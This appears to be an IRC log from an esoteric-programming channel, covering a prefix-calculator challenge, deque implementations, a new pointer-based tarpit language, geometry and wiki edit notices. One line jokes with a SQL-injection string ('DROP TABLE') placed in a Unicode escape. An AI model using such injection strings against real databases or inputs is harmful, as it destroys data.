06:06:17 <hppavilion[1]> OVER = SAVE POP RIGHT SAVE POP PUSH LEFT PUSH RIGHT PUSH RETRIEVE LEFT RETRIEVE
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13:08:39 <izabera> http://arin.ga/1fGHbJ/raw this is a prefix calculator for this challenge https://www.codeeval.com/open_challenges/7/
13:08:48 <izabera> but something stupid must be wrong
13:09:07 <izabera> help me find a test case that fails :|
13:20:54 <b_jonas> izabera: maybe you're doing the division backwards? the spec doesn't really say
13:23:21 <b_jonas> izabera: maybe try + 0 0 or + 0 10 in case the gcd routine gets confused by zeros
13:27:06 <izabera> - is not supposed to be supported
13:27:33 <izabera> i forgot i didn't implement - on purpose
13:31:03 <FreeFull> * * 3 4 / 10 5 seems to produce the expected result
13:33:07 <izabera> it produces 1 which is correct?
13:34:27 <FreeFull> But you're only rounding your rational down at the end, rather than after every division
13:35:05 <FreeFull> I'm not actually sure why you're using rationals
13:35:13 <izabera> "The evaluation result will always be an integer ≥ 0."
13:35:55 <izabera> i'm using rationals because this should be 10: + / 10 3 + / 10 3 / 10 3
13:36:27 <FreeFull> That challenge is expecting you to use integer division
13:36:39 <FreeFull> So it'd expect that to produce 9
13:37:38 <fizzie> That challenge, like so many of them, doesn't seem to specify very well what it's expecting.
13:38:13 <FreeFull> Yeah, it could be specified better
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13:42:55 <izabera> so * 2 / 1 2 is either 0 or 2
13:49:59 <FreeFull> That's because you're using rationals internally while this challenge expected you to use integers
13:50:51 <FreeFull> It probably also expects division to round towards 0
14:04:31 <HackEgo> [wiki] [[Imapl]] N http://esolangs.org/w/index.php?oldid=45281 * 179.105.145.107 * (+3921) Creating a programming language doc
14:06:03 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45282&oldid=45281 * 179.105.145.107 * (+2) /* Constants */
14:07:00 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45283&oldid=45282 * 179.105.145.107 * (+7) /* Operators (Ordered by precedence): */
14:07:50 <izabera> why is the logo 3 lemons slices? (did i ask this already?)
14:08:02 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45284&oldid=45283 * 179.105.145.107 * (+7) /* Execution: */
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14:09:26 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45285&oldid=45284 * 179.105.145.107 * (+1) /* Constants */
14:09:49 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45286&oldid=45285 * 179.105.145.107 * (-93) /* Operators (Ordered by precedence): */
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14:29:16 <HackEgo> [wiki] [[User:Lemon enthusiast]] http://esolangs.org/w/index.php?diff=45287&oldid=44988 * Lemon enthusiast * (-6)
14:30:34 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45288&oldid=45286 * Lemon enthusiast * (+26)
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14:41:40 <HackEgo> [wiki] [[User:Lemon enthusiast]] http://esolangs.org/w/index.php?diff=45289&oldid=45287 * Lemon enthusiast * (+218)
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16:00:36 <puckipedia> hmm, does anyone know of any esolang interpreters written in Z-Machine bytecode or Glulx?
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16:05:32 <puckipedia> rule (TBA): If it exists, there is a brainfuck interpreter for it
16:06:02 <puckipedia> let's make a brainfuck interpreter for the Z-machine
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16:27:48 <HackEgo> [wiki] [[Talk:Imapl]] N http://esolangs.org/w/index.php?oldid=45290 * SuperJedi224 * (+139) Created page with "Why exactly would Imapl be uncomputable? ~~~~"
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16:48:09 <oerjan> <izabera> why is the logo 3 lemons slices? (did i ask this already?) <-- they're not, they're limes. and i think they were a pretty random choice by graue, the original wiki maintainer. i once made a sub-lime pun but someone else then ran it so into the ground that even i got sick of it.
16:48:59 <shachaf> hmm, that's pretty into the ground
16:50:18 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45291&oldid=45288 * Lemon enthusiast * (-86)
16:50:32 <izabera> that was more cryptic than most eso langs
16:51:15 <Taneb> oerjan, I think the reasons of why the logo is 3 lime slices seems to be only known within an enlightened circle
16:51:24 <Taneb> I guess you could say that they're... esoteric
16:52:04 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45292&oldid=45291 * Lemon enthusiast * (-95) /* Etymology */
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17:21:13 <HackEgo> [wiki] [[User:Lemon enthusiast]] http://esolangs.org/w/index.php?diff=45293&oldid=45289 * Lemon enthusiast * (+258)
17:24:50 <Taneb> Phantom_Hoover, would you say the limes are esoteric twh
17:26:43 <Taneb> "That would help" hth
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18:04:53 <zzo38> I know about Z-machine programming, I have written an interpreter too
18:09:14 <puckipedia> I find it a weird thing, it's not quite generic, but I might be able to put a LLVM backend together for it
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18:39:10 <int-e> ooh will we have a christmas bitcoin bubble?
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18:51:19 <int-e> maybe it'll burst december 31st... that would be fun.
18:58:14 <zzo38_> In case you would need my Zork Machine Interpreter/Debugger, it is: http://zzo38computer.org/zmachine/interp/zorkmid.zip
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19:10:42 <zzo38> Do you know some of the Z-machine programming techniques such as Black-Johansen algorithm and SET->BCOM optimization?
19:16:35 <HackEgo> slocoin beatercoin oilcoin palagufcoin cholomscoin unwecoin contropitcoin velcoin tedcoin ethuttocoin enullcoin brentecoin frcmoecoin hackfllcycoin grucoin smihcoin argacoin iuscoin painstuencoin bfercoin
19:17:05 <quintopia> we'll have a christmas painsteuncoin bubble
19:44:28 <FreeFull> Today is the first time I've heard about Unicode named character escapes, such as \N{GREEK SMALL LETTER FINAL SIGMA}
19:51:43 <int-e> \N{';DROP TABLE Unicode;--}
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20:10:36 <HackEgo> [U+0020 SPACE] [U+2286 SUBSET OF OR EQUAL TO] [U+0020 SPACE]
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20:12:33 <int-e> I can't figure out whether the linguists meet once every 8 or once ever 18 months...
20:13:21 <FireFly> FreeFull: in what context do they appear? PCRE?
20:14:26 <FreeFull> FireFly: I think just as escapes in a string
20:14:55 <FreeFull> hppavilion[1]: How is ⊆ too thin with monospace?
20:15:16 <FireFly> Well, then, in what programming language?
20:17:20 <FreeFull> Python 3 too, although it doesn't support all of them
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20:44:34 <b_jonas> int-e: http://www.explainxkcd.com/
20:44:45 <b_jonas> (Explain xkcd: It's 'cause you're dumb.)
20:45:53 <int-e> I don't think I needed that explanation.
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21:18:28 <HackEgo> [wiki] [[Getchl]] N http://esolangs.org/w/index.php?oldid=45294 * Hppavilion1 * (+559) Created Page
21:22:49 <hppavilion[1]> What should ~ and | do in Getchl? Currently ~ pops two values and pushes a random integer between them, but I don't like that
21:27:35 <fizzie> It's swap in underload, but maybe you already have that.
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21:48:19 <HackEgo> [wiki] [[DStack]] M http://esolangs.org/w/index.php?diff=45295&oldid=45279 * -Dark-Phantom- * (+27) /* Syntax */
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22:02:41 <Walpurgisnacht> Almost finished with my Major so this Programming hobby will be going away
22:03:06 <Walpurgisnacht> Kinda makes me sad But I chose the medical field can't turn back now
22:03:50 <Walpurgisnacht> Medical Science is a stranger field Than programming I guess And the market for programming is over saturated as I've seen
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23:00:57 <oerjan> <int-e> maybe it'll burst december 31st... that would be fun. <-- that looked pretty bursting right now.
23:03:52 <boily> fungot: do you burst?
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23:04:17 * boily pats the 'got. “Good got”
23:05:15 <fungot> olsner: lpr creates a printer or sitting around ready to lose sight of the conspiracy are pushing motif, posix, osi, next step in subroutine a just after that, but
23:09:22 <oerjan> what is this stupid trend with GUIs with incomprehensible icons without tooltips
23:09:41 * oerjan doesn't like to click icons that he has no idea what do
23:11:10 <oerjan> oh well, at least it showed a url
23:16:43 <int-e> . o O ( What's the wors that could happen? *runs* )
23:19:11 * olsner . o O ( Clicking the circle icon formats the hard drive. How is that not obvious? )
23:21:49 <boily> GUIs are evil. they Hide the True Meaning of Words.
23:22:22 * oerjan likes GUIs, otherwise :(
23:23:58 <oerjan> it's been four days since andrás kovács tempted me to get a github account, and i've already contributed to constraints, and am in this moment considering submitting a documentation change to ghc
23:24:13 <boily> repent your ways! Save Yourself! (unless the interface is made of nifty pixel art. I'm a sucker for small icons with bright colours.)
23:24:21 <oerjan> (yes, i know you're not supposed to send it to ghc@github
23:24:51 <boily> you really ought to githubaccountify. I could coconspirator you to the Wisdom repository :D
23:25:18 <oerjan> boily: um, the temptation was successful hth
23:26:01 <oerjan> which is why i'm currently setting phabricator preferences
23:26:13 <oerjan> (that's the site without tooltips)
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23:26:36 <boily> by the way, what's your username?
23:26:59 <oerjan> that's the nice thing with having a weirdly spelled nick, it's almost always free
23:27:51 <fizzie> oerjan: I'm not sure I can support a site that has a "conpherence" function for chatting.
23:27:51 <oerjan> (technically it was registered when i came to freenode, but luckily it was beyond ask-for-takeover threshold)
23:28:08 <oerjan> fizzie: well it's ph all the way, surely
23:28:27 <fizzie> "Diffusion" seems to not be a "diphphusion".
23:28:40 <oerjan> oh and this is phabricator.haskell.org, in case there's any ambiguity
23:28:40 <fizzie> I'm going by the screenshot on the front page.
23:29:21 <fizzie> (My nickname is almost always taken. *sad*)
23:29:31 <boily> oerjan: you are hereby collaboratified.
23:30:16 <fizzie> On github, "fizzie" seems to be someone who does absolutely nothing publicly visible with the account.
23:30:22 <fizzie> Perhaps it's all private repos for them.
23:30:35 <oerjan> boily: is this the right time to admit i've never opened wisdom.pdf?
23:31:37 <shachaf> you're either wisdom or you're againstdom, oerjan
23:32:18 <oerjan> fizzie: i think dipphusion would be more intuitive
23:32:47 <boily> oerjan: you are evil. of course you never opened it.
23:33:00 <oerjan> i knew you'd understand </lie>
23:33:33 <fizzie> That reminds me of some dialog systems in some games.
23:33:45 <fizzie> They have tags like "[Lie] X" for conversation options.
23:34:23 <fizzie> I remember at least one that had "X" and "[Lie] X" for the same X, and X was not something the game system could possibly observe, because it was about your motivations.
23:35:01 <fizzie> It was somewhat confusing, because you could lie about lying by selecting the untagged "X"
23:37:31 <boily> this feels very topological. you can lie, or not lie, about something unobservable.
23:40:34 <zzo38> But then possibly you might not know your motivation quite yet though?
23:42:44 <boily> polymorphic motivation.
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23:51:17 <Sgeo> Why does the number 8388608 feel so... unspecial?
23:51:42 <Sgeo> It's 2^23, the point at which the next 32-bit floating point number above it is +1
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00:00:59 <fizzie> On the other hand, 16777216 feels very special. Maybe just because it's more things.
00:01:33 <int-e> it's the number of colors many devices are marketed to support
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00:02:48 <int-e> I'd guess it's 2^30 but I don't really recognize it.
00:02:49 <FreeFull> If you take out the middle six digits, you get 1024
00:03:26 <int-e> (I see it's about 10^9 and starts with approximately 1072, so that's plausible.)
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00:05:45 <fungot> 1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288 1048576 2097152 4194304 8388608 16777216 33554432 67108864 134217728 268435456 536870912 1073741824 2147483648 42949672 ...
00:06:56 <fizzie> int-e: When it's not called just "millions of colors".
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00:18:17 <oerjan> ais523: long time no see
00:19:04 <ais523> did anything come up that I need to deal with?
00:22:47 <oerjan> well there was a weird spammer who didn't really spam a link, so i wanted to ask you how long to ban them
00:23:03 <oerjan> (i think i chose a week just to be weird)
00:23:12 <oerjan> also, you're Agora Speaker hth
00:24:49 <oerjan> i don't recall anything else you were too needed for
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00:43:30 <boily> pikhelloq, hppavellon[1].
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00:53:52 <Taneb> Right... if I have 4 vectors, I can construct a vector space of degree at most four with some subset of them as the basis
00:54:37 <Taneb> If in 4 dimensional space, I put a vertex at (1, 0, 0, 0), (0, 1, 0, 0), etc...
00:54:47 <Taneb> Can I form a tetrahedron from those vertices?
00:55:15 <Taneb> Those vertices are also linearly dependent
00:56:15 <Taneb> Actually, my question is, "how do I tell if two lines are coplanar in an arbitrarily high-dimensional euclidean space?"
00:57:05 <oerjan> x+y+z+w = 1 in 4-dimensional space is a representation of 3d projective space
00:58:32 <oerjan> hm i guess that doesn't give an isometry
00:58:46 <Taneb> I just need to know if the volume is zero or not
01:01:51 <oerjan> if the lines are given by 4 points, then you take the vectors from one of them to the other and check if they span a 3d space
01:02:43 <oerjan> you could use gram-schmidt for this.
01:05:27 <Taneb> I thought Gram-Schmidt took a set of vectors already known to be linearly independent
01:06:32 <oerjan> (if you get 0 vector at any step, that vector was redundant with the previous)
01:07:02 <Taneb> Handly, here's a Gram-Schmidt I prepared earlier: http://lpaste.net/131499
01:07:38 <Taneb> Phantom_Hoover, it's one in the morning, cut me some slack
01:08:30 <oerjan> right, it's the simplex definition
01:09:09 <oerjan> although the non-finite points do, naturally
01:09:17 <Phantom_Hoover> obviously you can put a metric on it but the resulting geometry will be nonsense
01:09:26 <oerjan> but (0,0,0,1) becomes an infinite one
01:10:18 <Phantom_Hoover> <oerjan> x+y+z+w = 1 in 4-dimensional space is a representation of 3d projective space
01:10:39 <oerjan> Phantom_Hoover: homogeneous coordinates, no?
01:11:20 <oerjan> w = 0 are infinite points
01:11:26 <ais523> oerjan: ooh, I came up with a new esolang too while I was gone
01:11:33 <ais523> I haven't documented it yet but I have an interp
01:11:43 <ais523> it should be easy enough to document, seeing as it's a tarpit
01:11:46 <oerjan> also i was wrong about (0,0,0,1), it's the only one which is _finite_
01:12:43 <ais523> here: http://nethack4.org/esolangs/threestar.c
01:13:36 <Taneb> Those are some deeply nested pointers
01:13:42 <oerjan> Phantom_Hoover: no, x=y=z=0 is not into the right set
01:15:04 <ais523> I was originally using a void**** but it doesn't work, you do genuinely need the void***** if you're writing the program like that
01:16:04 <oerjan> it's x+y+z+w=0 that's the infinite subwhatever
01:16:48 <Phantom_Hoover> that's still not homeomorphic to projective space for the same reasons
01:17:15 <Phantom_Hoover> you're going to have to take a quotient at some point, i'll bet
01:19:28 <Phantom_Hoover> anyway taneb was just trying to find if two lines were coplanar!
01:19:54 <ais523> aren't two lines coplanar if and only if a) they intersect, or b) they're parallel?
01:20:22 <Phantom_Hoover> so while i'm sure there's a nice general method it's easy to just check each case individually
01:20:46 <Taneb> ais523, I'm trying to find the intersection, or more precisely, when I can find the intersections
01:21:04 <Phantom_Hoover> Taneb, that's even easier, you're just solving simultaneous equations
01:21:51 <Phantom_Hoover> shit i need to sleep stop getting me into geometry arguments you bastards
01:22:25 <Taneb> Hey, I was just rambling about my overcomplicated beginning of a solution to a problem which I never actually stated
01:24:08 <oerjan> ais523: not in 4d space
01:24:36 * oerjan is cursed to be wrong today
01:25:04 <olsner> cursed just today? or maybe for the rest of your life...
01:25:19 <ais523> oerjan: I think it's true regardless of dimension count, but I'm not 100% certain, 4D visualisation is weird
01:26:07 <oerjan> ais523: no i realized that there's always a containing 3d space so 4d doesn't give anything extra
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01:33:02 <HackEgo> [wiki] [[User:Lemon enthusiast]] http://esolangs.org/w/index.php?diff=45296&oldid=45293 * Lemon enthusiast * (-258)
01:41:24 * boily reads a scroll of remove curse at oerjan
01:42:24 <ais523> "You feel like someone is helping you"?
01:44:25 <boily> "You feel as if something is helping you".
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01:50:07 <hppavilion[1]> Well. One of my friends had his girlfriend break up with him and now he's depressed and contemplating suicide.
01:51:18 <Taneb> I would advise strongly that he doesn't.
01:51:40 <hppavilion[1]> I spent 30 minutes trying to comfort him and got nowhere.
01:52:04 <hppavilion[1]> I give up. He's stressing me out. I'm going to go back to programming to distract myself now.
01:52:34 <Sgeo> hppavilion[1], suggest he talk to a therapist/call a hotline?
01:53:45 <hppavilion[1]> He agreed that he needs a shrink. He looked like he was feeling better for a bit, then he dropped back down
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01:57:38 <Sgeo> Is there any particular name for the operation 2^floor(log_2 x)?
01:58:12 <ais523> oh, hmm, there might be
01:58:52 <ais523> I have an incomplete list of names for that sort of thing here, just checking it now
01:59:59 <ais523> that specific one isn't there, but it's "isolate highest set bit" by analogy with "isolate lowest set bit"
02:03:46 <HackEgo> [wiki] [[Deque]] http://esolangs.org/w/index.php?diff=45297&oldid=45280 * Hppavilion1 * (+2081) /* Additional Operations */ Stack on the back, PAD and REVPAD
02:04:19 <izabera> "round down to the nearest power of 2"?
02:05:41 <HackEgo> [wiki] [[Deque]] M http://esolangs.org/w/index.php?diff=45298&oldid=45297 * Hppavilion1 * (+8) /* Operations */ Formatting
02:07:08 <izabera> is a deque basically a linked list?
02:07:42 <Taneb> A doubly-linked list is one way to implement a deque
02:10:02 <hppavilion[1]> izabera: It's a stack/queue hybrid, if that's what you're asking (though I have a feeling you already knew)
02:10:43 <ais523> izabera: doubly-linked lists are a common way to implement a deque, but not the only one
02:11:21 <ais523> e.g. you can also use a ring buffer that is reconstructed larger when it becomes full, or two stacks where, if a stack is empty and you try to pop it, you reverse the other stack onto the empty stack
02:12:01 <ais523> (the two stacks method is one that I find very useful for implementing queues in esolangs that only have stacks, and then to BCT, in order to prove turing-completeness; it actually gives you a full deque but I normally only care about the queue subset of the behaviour)
02:12:07 <FireFly> In some sense stack/queue/deque are abstract whereas a linked-list is concrete
02:12:36 <Taneb> hppavilion[1], thanks! It's the language I'm most proud of
02:13:40 <hppavilion[1]> Taneb: Your middle-last name looks like "Von Doom" with proper kerning
02:13:46 <Taneb> hppavilion[1], yes
02:13:46 <Sgeo> izabera, but that's so... unmathylike
02:13:53 <Taneb> hppavilion[1], that is true
02:14:16 <Taneb> (and it's just my last name, the "van" is part of the surname. For reference, my middle name is George)
02:14:29 <\oren\> the Deque has push, pop, shift and unshift. what if you had push pop and shift only?
02:15:01 <ais523> izabera: BCT = bitwise cyclic tag
02:15:13 <ais523> it's a specific concrete instance of cyclic tag, which is a mathematical language-class
02:15:30 <hppavilion[1]> \oren\: I believe they are push, pop, eject, and inject
02:15:37 <ais523> and cyclic tag is, in my experience, the easiest TC language to implement in arbitrary esolangs
02:16:07 <hppavilion[1]> Not shift and unshift (which I assume are ROLLs, which can be implemented using Push, Pop, Eject, and Inject and a scalar accumulator (though you clobber the accumulator))
02:16:17 <ais523> hmm, is there a cyclic tag / bct compiler into BF yet? there should be, it's easy
02:16:22 <\oren\> hppavilion[1]: some languages call them different things, I'm using the names from Perl
02:16:30 <\oren\> http://perldoc.perl.org/functions/shift.html
02:16:53 <ais523> \oren\: you can do three out of the four operations with a singly linked list
02:17:09 <hppavilion[1]> I need to come up with a better name for DequeCLI...
02:17:43 <ais523> you have to discard either shift or pop but you can implement the three others with just single-linking pointers and separate pointers to /both/ ends
02:18:01 <Taneb> hppavilion[1], one of my friends once wrote a program that extracted data from .drs files (which are used in some video game... age of empires, maybe?)
02:18:11 <Taneb> He narrowly avoided calling it drsextractor
02:19:06 <hppavilion[1]> I like DequeCLI (or whatever its final name is) because I can define operations like DUP
02:19:13 <ais523> would be more amazing if he'd noticed and decided to use the name nayway
02:19:35 <Taneb> ais523, sadly he is not the kind of person who would do that
02:19:55 <Sgeo> May I do math out loud here? 2048 = 2^11, 2^(11-23) = 2^-12;
02:19:55 <hppavilion[1]> DUP is SAVE POP PUSH PUSH RETRIEVE. SAVE and RETREIVE are optional, if you don't mind clobbering the accumulator
02:20:31 <Taneb> Sgeo, that seems correct so far
02:21:42 <Sgeo> So if a thing needs to be going half that distance in a frame, minimum meters per frame = 2^-13. Times 45 frames per second ~= 0.0055 mps
02:21:56 <Sgeo> Lower at smaller fps
02:22:35 <Sgeo> Might be easier to keep looking at my mpf calculation and have my measurement tool print measured minimum mpf
02:23:14 <Sgeo> Actually, that number looks really really wrong based on prior measurements, but those are indirect
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02:27:28 <Sgeo> Measured attempted minimum velocity: -0.005553
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02:32:12 <Sgeo> My measured meters per frame is slightly higher than expected, wonder if I'm not quite measuring right
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02:46:31 <HackEgo> [wiki] [[BotEngine]] http://esolangs.org/w/index.php?diff=45299&oldid=44894 * SuperJedi224 * (+166)
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03:05:24 <HackEgo> [wiki] [[BotEngine]] http://esolangs.org/w/index.php?diff=45300&oldid=45299 * SuperJedi224 * (-46) /* Instructions */
03:07:56 <HackEgo> [wiki] [[BotEngine]] http://esolangs.org/w/index.php?diff=45301&oldid=45300 * SuperJedi224 * (-68)
03:08:05 <Sgeo> SHould I be happy that my math based on my theories sort of match up with what I measured, or upset that it's not more exact?
03:08:13 <Sgeo> I don't know what sort of error these measurements have
03:11:03 <HackEgo> [wiki] [[Microscript II]] http://esolangs.org/w/index.php?diff=45302&oldid=45238 * SuperJedi224 * (+130)
03:13:51 <HackEgo> [wiki] [[BotEngine]] http://esolangs.org/w/index.php?diff=45303&oldid=45301 * SuperJedi224 * (+65)
03:14:23 <HackEgo> [wiki] [[BotEngine]] http://esolangs.org/w/index.php?diff=45304&oldid=45303 * SuperJedi224 * (+0)
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03:34:39 <HackEgo> [wiki] [[Merucik]] N http://esolangs.org/w/index.php?oldid=45305 * Conor O'Brien * (+2128) Created page with "**Merucik** is a Brainf*** derivative that adds some minor functionality to aid the programmer in coding. Merucik programs operator on a right-open, theoretically-unbound tape..."
03:35:58 <HackEgo> [wiki] [[Merucik]] http://esolangs.org/w/index.php?diff=45306&oldid=45305 * Conor O'Brien * (+2)
03:37:03 <HackEgo> [wiki] [[User talk:Ais523]] http://esolangs.org/w/index.php?diff=45307&oldid=45149 * Ais523 * (+468) /* Page removal request */ for the record
03:37:23 <HackEgo> [wiki] [[Merucik]] http://esolangs.org/w/index.php?diff=45308&oldid=45306 * Conor O'Brien * (+31)
03:37:42 <HackEgo> [wiki] [[User:Conor O'Brien]] http://esolangs.org/w/index.php?diff=45309&oldid=44906 * Conor O'Brien * (+25) /* Languages I have made */
03:37:57 <HackEgo> [wiki] [[User:Ais523]] http://esolangs.org/w/index.php?diff=45310&oldid=44771 * Ais523 * (+27) and a new one (let's edit a link in that I can follow to create the article, the old-fashioned way)
03:42:49 <HackEgo> [wiki] [[Merucik]] http://esolangs.org/w/index.php?diff=45311&oldid=45308 * Conor O'Brien * (+281) /* Instructions */
03:45:04 <HackEgo> [wiki] [[Brainfuck extensions]] http://esolangs.org/w/index.php?diff=45312&oldid=43357 * Conor O'Brien * (+65)
03:49:46 <HackEgo> [wiki] [[Merucik]] http://esolangs.org/w/index.php?diff=45313&oldid=45311 * Conor O'Brien * (+95)
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03:58:08 <HackEgo> [wiki] [[Three Star Programmer]] N http://esolangs.org/w/index.php?oldid=45314 * Ais523 * (+4998) new language!
03:58:45 <HackEgo> [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45315&oldid=45158 * Ais523 * (+28) /* T */ +[[Three Star Programmer]]
03:59:59 <HackEgo> [wiki] [[OISC]] http://esolangs.org/w/index.php?diff=45316&oldid=34930 * Ais523 * (+28) /* See also */ +[[Three Star Programmer]] (maybe at this point this should be a category, instead of / in addition to a list?)
04:01:56 <ais523> hmm, I hope Three Star Programmer is TC; it feels like it is but it's a total pain to accomplish anything in
04:02:14 <ais523> if it is, it'd be the first OISC which has one-operand instructions and doesn't rely on memory mapping
04:03:07 <HackEgo> [wiki] [[OISC]] M http://esolangs.org/w/index.php?diff=45317&oldid=45316 * Ais523 * (+0) /* See also */ this list is apparently alphabetical, not asciibetical
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04:08:18 <hppavilion[1]> (https://docs.google.com/document/d/1IVBYW2CSDgvspkCl0nYTy-FQPUwozYdkX2H-cZGwALo/edit?usp=sharing)
04:10:08 <ais523> zzo38: it's a pain to program in though
04:10:14 <ais523> like, I haven't managed to write /any/ nontrivial programs
04:10:32 <ais523> and only have the vaguest idea of what one would look like
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04:14:37 <Sgeo> IRL, is 4km vertically a lot or not so much?
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04:15:23 <Sgeo> On the surface of Earth, would 4km above the surface be outer space ish?
04:16:11 <Sgeo> https://en.wikipedia.org/wiki/K%C3%A1rm%C3%A1n_line very much no
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04:17:08 <Sgeo> According to the Wikipedia link, yes
04:23:57 <FireFly> ais523: an obfuscated 3SP interpreter sounds like it'd make a reasonable IOCCC submission
04:24:21 <FireFly> Although only if it turns out to actually be usable for programming, I suppose
04:24:21 <ais523> FireFly: so long as you had an actual program to run it on
04:24:30 <ais523> fwiw, I'm using the file extension .3*
04:24:35 <ais523> to drive Windows programmers mad
04:24:48 <ais523> (it's only mildly inconvenient on Linux, mostly having to add extra quotes, and making me do a double take when I see ls output)
04:24:53 <ais523> it even tab completes correctly!
04:26:23 <shachaf> Most likely it'll be fine even without escaping
04:27:49 <zzo38> I thought the program does not require any specific extension? (Even though it does say to use .3* at the top)
04:28:01 <FireFly> Out of interest, why the second and fourth cells for the output extension?
04:29:39 <zzo38> ais523: Don't you have a color computer?
04:29:57 <ais523> zzo38: it doesn't require a specific extension
04:30:03 <ais523> also what do you mean by a color computer?
04:30:17 <shachaf> is it related to colorforth?
04:30:19 <zzo38> Color terminal, I suppose
04:30:31 <ais523> FireFly: I had a feeling that it might be possible to use only the even-numbered cells
04:30:37 <ais523> quintopia: http://esolangs.org/wiki/Three_Star_Programmer
04:30:41 <zzo38> Then you can use colors with ls
04:30:44 <ais523> I just put it on the wiki today (designed it a few days ago when I was ill)
04:30:49 <ais523> zzo38: oh yes, color terminal, and I use colors with ls
04:30:55 <ais523> but it's still confusing seeing asterisks in ls' output
04:31:14 <ais523> even if I put them there myself
04:31:19 <FireFly> I think I'd do even more of a double-take seeing (escaped) asterisks when tab-completing
04:31:29 <FireFly> and feel a bit uneasy pressing enter
04:31:59 <oerjan> Sgeo: 4km is a bit less than half the height of mount everest hth
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04:42:57 <Sgeo> Well, I seem to be able to observe "quantum" effects in SL somewhat comfortably at 4km
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05:40:33 <Sgeo> WHEE https://gist.github.com/Sgeo/dc140b32c082ae38fd15
05:44:52 <\oren\> ais523: You should make one where the array extends downward using my stupid x86 stack trick.
05:45:14 <ais523> \oren\: you could just change increments to decrements, the language spec doesn't require any particular memory layout
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05:47:21 <Sgeo> My next experiment, the one that I and a coworker am eagerly anticipating: What happens when minimum velocity imposed by the nature of floating-point numbers is near the maximum velocity arbitrarily imposed by the Lindens?
05:50:15 <zzo38> Are you going to use METAFONT to make up a font?
05:50:39 <Sgeo> The fun part: In order to get to a point where this occurs, we will build a MASSIVE ROCKET
05:53:02 <hppavilion[1]> zzo38: Though I might make a METAFONT or something version so people can use it in reality
05:53:32 <hppavilion[1]> I'm going to have such constructs as the 1.5 story g and the 3-humped B
05:54:17 <zzo38> METAFONT is good for printer fonts. (It could be used for screen fonts too, although screen fonts are best made with a tile editor, in my opinion.)
05:54:33 <zzo38> How does WalText II work anyways?
05:59:13 <FireFly> What does 'tile editor' entail?
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06:03:41 <HackEgo> [wiki] [[Talk:3var]] http://esolangs.org/w/index.php?diff=45318&oldid=41115 * Nikoraito * (+965) /* Extensions */ new section
06:04:18 <HackEgo> [wiki] [[Talk:3var]] http://esolangs.org/w/index.php?diff=45319&oldid=45318 * Nikoraito * (+89) /* Extensions */
06:06:03 <HackEgo> [wiki] [[Talk:3var]] http://esolangs.org/w/index.php?diff=45320&oldid=45319 * Nikoraito * (+52) /* Extensions */
06:10:22 <zzo38> You can select sets of tiles and make each pixel of each tile on/off; some more advanced ones may have additional operations too.
06:12:04 <zzo38> (Tiles may also be created with a text editor and then compiled; some programs will do it this way.)
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06:27:59 <hppavilion[1]> zzo38: WalText II is kind of like METAFONT I've been told
06:28:26 <\oren\> I agree fonts for computers are best designed with pixels, so there's no blurriness
06:28:43 <hppavilion[1]> Though in later versions, it's going to have a dynamic random number feature (allowing you to emulate human error in the font, making it look more realistic, less uncanny valley)
06:45:08 <oerjan> i do not think about fonts hth
06:47:07 <hppavilion[1]> oerjan: Wait, was it you or \oren\ that's making the font? My recognition of names (and faces, though that doeesn't really come into play) is not very good
06:53:48 <zzo38> If WalText II is like METAFONT then depending on other stuff how it works, may be possible to compile WalText II fonts into TFM/PK formats; such file formats are simple enough to do.
07:02:25 <zzo38> That isn't a problem.
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07:47:34 <hppavilion[1]> Someone should go write a language specification in ultra-limited time
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07:48:42 <zzo38> How much time limit?
07:48:52 <ais523> hppavilion[1]: http://esolangs.org/wiki/2014 was pretty time-limited
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08:20:54 <HackEgo> [wiki] [[Three Star Programmer]] http://esolangs.org/w/index.php?diff=45321&oldid=45314 * Ais523 * (+85) /* External resources */ link to where the name comes from
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10:05:55 <b_jonas> I haven't seen you for weeks
10:06:05 <ais523> still am to some extent
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12:02:37 * boily is confused by Han Unification
12:13:18 * FireFly wonders what type boily is, and what type Han Unification is, and whether it has any other effects apart from causing confusion
12:16:41 <boily> Firellofly. I think I'm Canadian.
12:16:53 <boily> (is mayonnaise an instrument?)
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12:24:03 <FireFly> Is Han Unification supereffective against Canadian?
12:28:19 <boily> further research needs to be made for a conclusive conclusion.
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12:58:38 * int-e wonders whether Han Unification is in any way similar to AC Unification...
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14:35:33 <HackEgo> [wiki] [[Talk:Imapl]] http://esolangs.org/w/index.php?diff=45322&oldid=45290 * Lemon enthusiast * (+624)
14:38:00 <HackEgo> [wiki] [[Talk:Imapl]] http://esolangs.org/w/index.php?diff=45323&oldid=45322 * Lemon enthusiast * (+172)
14:38:15 <HackEgo> [wiki] [[Talk:Imapl]] http://esolangs.org/w/index.php?diff=45324&oldid=45323 * Lemon enthusiast * (+2)
14:39:00 <HackEgo> [wiki] [[Talk:Imapl]] http://esolangs.org/w/index.php?diff=45325&oldid=45324 * Lemon enthusiast * (-61)
14:41:58 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45326&oldid=45292 * Lemon enthusiast * (+0) /* Operators (Ordered by precedence): */
15:01:35 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45327&oldid=45326 * Lemon enthusiast * (+31) /* Execution: */
15:01:37 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45328&oldid=45327 * Lemon enthusiast * (+431) /* Computational class */
15:03:59 <HackEgo> [wiki] [[Imapl]] M http://esolangs.org/w/index.php?diff=45329&oldid=45328 * Lemon enthusiast * (+15) /* Computational class */
15:08:46 <HackEgo> [wiki] [[Imapl]] M http://esolangs.org/w/index.php?diff=45330&oldid=45329 * Lemon enthusiast * (+0) /* Constants */
15:17:34 <HackEgo> [wiki] [[Imapl]] http://esolangs.org/w/index.php?diff=45331&oldid=45330 * Lemon enthusiast * (+51) /* Operators (Ordered by precedence): */
